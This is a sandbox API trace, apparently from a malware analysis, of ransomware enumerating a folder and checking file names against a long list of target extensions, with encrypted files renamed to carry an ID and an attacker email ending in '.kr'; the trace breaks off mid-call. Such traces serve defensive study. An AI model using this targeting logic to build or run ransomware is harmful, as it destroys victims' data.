[0087.367] lstrlenW (lpString=".dxf") returned 4 [0087.367] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".edml") returned 5 [0087.367] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0087.367] lstrlenW (lpString=".efd") returned 4 [0087.367] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".elf") returned 4 [0087.367] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".emf") returned 4 [0087.367] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".emz") returned 4 [0087.368] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".epf") returned 4 [0087.368] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".eps") returned 4 [0087.368] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".epsf") returned 5 [0087.368] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0087.368] lstrlenW (lpString=".epsp") returned 5 [0087.368] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0087.368] lstrlenW (lpString=".erf") returned 4 [0087.368] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".exr") returned 4 [0087.368] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".f4v") returned 4 [0087.368] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".fido") returned 5 [0087.368] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0087.368] lstrlenW (lpString=".flm") returned 4 [0087.368] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".flv") returned 4 [0087.368] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".frm") returned 4 [0087.368] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".fxg") returned 4 [0087.368] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".geo") returned 4 [0087.368] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0087.368] lstrlenW (lpString=".gif") returned 4 [0087.369] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".grs") returned 4 [0087.369] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".gz") returned 3 [0087.369] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0087.369] lstrlenW (lpString=".h") returned 2 [0087.369] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0087.369] lstrlenW (lpString=".hdr") returned 4 [0087.369] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".hpp") returned 4 [0087.369] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".hta") returned 4 [0087.369] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".htc") returned 4 [0087.369] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".htm") returned 4 [0087.369] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".html") returned 5 [0087.369] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0087.369] lstrlenW (lpString=".icb") returned 4 [0087.369] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".ics") returned 4 [0087.369] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".iff") returned 4 [0087.369] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".inc") returned 4 [0087.369] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0087.369] lstrlenW (lpString=".indd") returned 5 [0087.370] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0087.370] lstrlenW (lpString=".ini") returned 4 [0087.370] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".iqy") returned 4 [0087.370] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".j2c") returned 4 [0087.370] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".j2k") returned 4 [0087.370] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".java") returned 5 [0087.370] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0087.370] lstrlenW (lpString=".jp2") returned 4 [0087.370] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".jpc") returned 4 [0087.370] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".jpe") returned 4 [0087.370] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".jpeg") returned 5 [0087.370] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0087.370] lstrlenW (lpString=".jpf") returned 4 [0087.370] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".jpg") returned 4 [0087.370] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".jpx") returned 4 [0087.370] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0087.370] lstrlenW (lpString=".js") returned 3 [0087.370] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0087.370] lstrlenW (lpString=".jsf") returned 4 [0087.371] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".json") returned 5 [0087.371] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0087.371] lstrlenW (lpString=".jsp") returned 4 [0087.371] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".kdc") returned 4 [0087.371] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".kmz") returned 4 [0087.371] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".kwm") returned 4 [0087.371] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".lasso") returned 6 [0087.371] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0087.371] lstrlenW (lpString=".lbi") returned 4 [0087.371] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".lgf") returned 4 [0087.371] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".lgp") returned 4 [0087.371] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".log") returned 4 [0087.371] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".m1v") returned 4 [0087.371] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".m4a") returned 4 [0087.371] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0087.371] lstrlenW (lpString=".m4v") returned 4 [0087.371] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".max") returned 4 [0087.372] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".md") returned 3 [0087.372] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0087.372] lstrlenW (lpString=".mda") returned 4 [0087.372] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mdb") returned 4 [0087.372] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mde") returned 4 [0087.372] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mdf") returned 4 [0087.372] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mdw") returned 4 [0087.372] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mef") returned 4 [0087.372] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mft") returned 4 [0087.372] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mfw") returned 4 [0087.372] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mht") returned 4 [0087.372] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mhtml") returned 6 [0087.372] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0087.372] lstrlenW (lpString=".mka") returned 4 [0087.372] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0087.372] lstrlenW (lpString=".mkidx") returned 6 [0087.372] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0087.373] lstrlenW (lpString=".mkv") returned 4 [0087.373] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mos") returned 4 [0087.373] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mov") returned 4 [0087.373] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mp3") returned 4 [0087.373] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mp4") returned 4 [0087.373] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mpeg") returned 5 [0087.373] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0087.373] lstrlenW (lpString=".mpg") returned 4 [0087.373] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mpv") returned 4 [0087.373] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mrw") returned 4 [0087.373] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".msg") returned 4 [0087.373] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".mxl") returned 4 [0087.373] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".myd") returned 4 [0087.373] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".myi") returned 4 [0087.373] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".nef") returned 4 [0087.373] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0087.373] lstrlenW (lpString=".nrw") returned 4 [0087.374] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".obj") returned 4 [0087.374] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".odb") returned 4 [0087.374] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".odc") returned 4 [0087.374] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".odm") returned 4 [0087.374] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".odp") returned 4 [0087.374] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".ods") returned 4 [0087.374] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".oft") returned 4 [0087.374] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".one") returned 4 [0087.374] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".onepkg") returned 7 [0087.374] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0087.374] lstrlenW (lpString=".onetoc2") returned 8 [0087.374] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0087.374] lstrlenW (lpString=".opt") returned 4 [0087.374] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".oqy") returned 4 [0087.374] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0087.374] lstrlenW (lpString=".orf") returned 4 [0087.375] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".p12") returned 4 [0087.375] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".p7b") returned 4 [0087.375] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".p7c") returned 4 [0087.375] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pam") returned 4 [0087.375] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pbm") returned 4 [0087.375] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pct") returned 4 [0087.375] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pcx") returned 4 [0087.375] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pdd") returned 4 [0087.375] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0087.375] lstrlenW (lpString=".pdf") returned 4 [0087.375] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pdp") returned 4 [0087.376] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pef") returned 4 [0087.376] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pem") returned 4 [0087.376] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pff") returned 4 [0087.376] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pfm") returned 4 [0087.376] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pfx") returned 4 [0087.376] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".pgm") returned 4 [0087.376] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".php") returned 4 [0087.376] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0087.376] lstrlenW (lpString=".php3") returned 5 [0087.376] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0087.376] lstrlenW (lpString=".php4") returned 5 [0087.376] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0087.376] lstrlenW (lpString=".php5") returned 5 [0087.376] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0087.376] lstrlenW (lpString=".phtml") returned 6 [0087.376] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0087.376] lstrlenW (lpString=".pict") returned 5 [0087.376] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0087.376] lstrlenW (lpString=".pl") returned 3 [0087.376] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0087.377] lstrlenW (lpString=".pls") returned 4 [0087.377] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".pm") returned 3 [0087.377] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0087.377] lstrlenW (lpString=".png") returned 4 [0087.377] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".pnm") returned 4 [0087.377] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".pot") returned 4 [0087.377] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".potm") returned 5 [0087.377] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0087.377] lstrlenW (lpString=".potx") returned 5 [0087.377] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0087.377] lstrlenW (lpString=".ppa") returned 4 [0087.377] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".ppam") returned 5 [0087.377] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0087.377] lstrlenW (lpString=".ppm") returned 4 [0087.377] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".pps") returned 4 [0087.377] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".ppsm") returned 5 [0087.377] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0087.377] lstrlenW (lpString=".ppt") returned 4 [0087.377] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0087.377] lstrlenW (lpString=".pptm") returned 5 [0087.377] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0087.378] lstrlenW (lpString=".pptx") returned 5 [0087.378] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0087.378] lstrlenW (lpString=".prn") returned 4 [0087.378] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".ps") returned 3 [0087.378] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0087.378] lstrlenW (lpString=".psb") returned 4 [0087.378] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".psd") returned 4 [0087.378] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".pst") returned 4 [0087.378] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".ptx") returned 4 [0087.378] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".pub") returned 4 [0087.378] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".pwm") returned 4 [0087.378] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".pxr") returned 4 [0087.378] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".py") returned 3 [0087.378] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0087.378] lstrlenW (lpString=".qt") returned 3 [0087.378] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0087.378] lstrlenW (lpString=".r3d") returned 4 [0087.378] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".raf") returned 4 [0087.378] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0087.378] lstrlenW (lpString=".rar") returned 4 [0087.379] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0087.379] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68bb8df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68bb8df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68bb8df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0087.379] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.379] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.379] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0087.379] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0087.380] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0087.380] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0087.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26 [0087.380] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0087.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6aab642, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0087.380] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0087.380] lstrlenW (lpString=".1cd") returned 4 [0087.380] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0087.380] lstrlenW (lpString=".3ds") returned 4 [0087.380] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0087.380] lstrlenW (lpString=".3fr") returned 4 [0087.380] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0087.380] lstrlenW (lpString=".3g2") returned 4 [0087.380] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0087.380] lstrlenW (lpString=".3gp") returned 4 [0087.380] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0087.380] lstrlenW (lpString=".7z") returned 3 [0087.381] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0087.381] lstrlenW (lpString=".accda") returned 6 [0087.381] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".accdb") returned 6 [0087.381] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".accdc") returned 6 [0087.381] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".accde") returned 6 [0087.381] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".accdt") returned 6 [0087.381] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".accdw") returned 6 [0087.381] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0087.381] lstrlenW (lpString=".adb") returned 4 [0087.381] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0087.381] lstrlenW (lpString=".adp") returned 4 [0087.381] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0087.381] lstrlenW (lpString=".ai") returned 3 [0087.381] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0087.849] lstrlenW (lpString=".ai3") returned 4 [0087.903] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0087.903] lstrlenW (lpString=".ai4") returned 4 [0087.903] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0087.903] lstrlenW (lpString=".ai5") returned 4 [0087.903] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0087.903] lstrlenW (lpString=".ai6") returned 4 [0087.903] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0087.903] lstrlenW (lpString=".ai7") returned 4 [0087.904] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".ai8") returned 4 [0087.904] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".anim") returned 5 [0087.904] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0087.904] lstrlenW (lpString=".arw") returned 4 [0087.904] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".as") returned 3 [0087.904] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0087.904] lstrlenW (lpString=".asa") returned 4 [0087.904] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".asc") returned 4 [0087.904] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".ascx") returned 5 [0087.904] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0087.904] lstrlenW (lpString=".asm") returned 4 [0087.904] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".asmx") returned 5 [0087.904] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0087.904] lstrlenW (lpString=".asp") returned 4 [0087.904] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".aspx") returned 5 [0087.904] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0087.904] lstrlenW (lpString=".asr") returned 4 [0087.904] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0087.904] lstrlenW (lpString=".asx") returned 4 [0087.905] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".avi") returned 4 [0087.905] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".avs") returned 4 [0087.905] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".backup") returned 7 [0087.905] lstrcmpiW (lpString1=".backup", 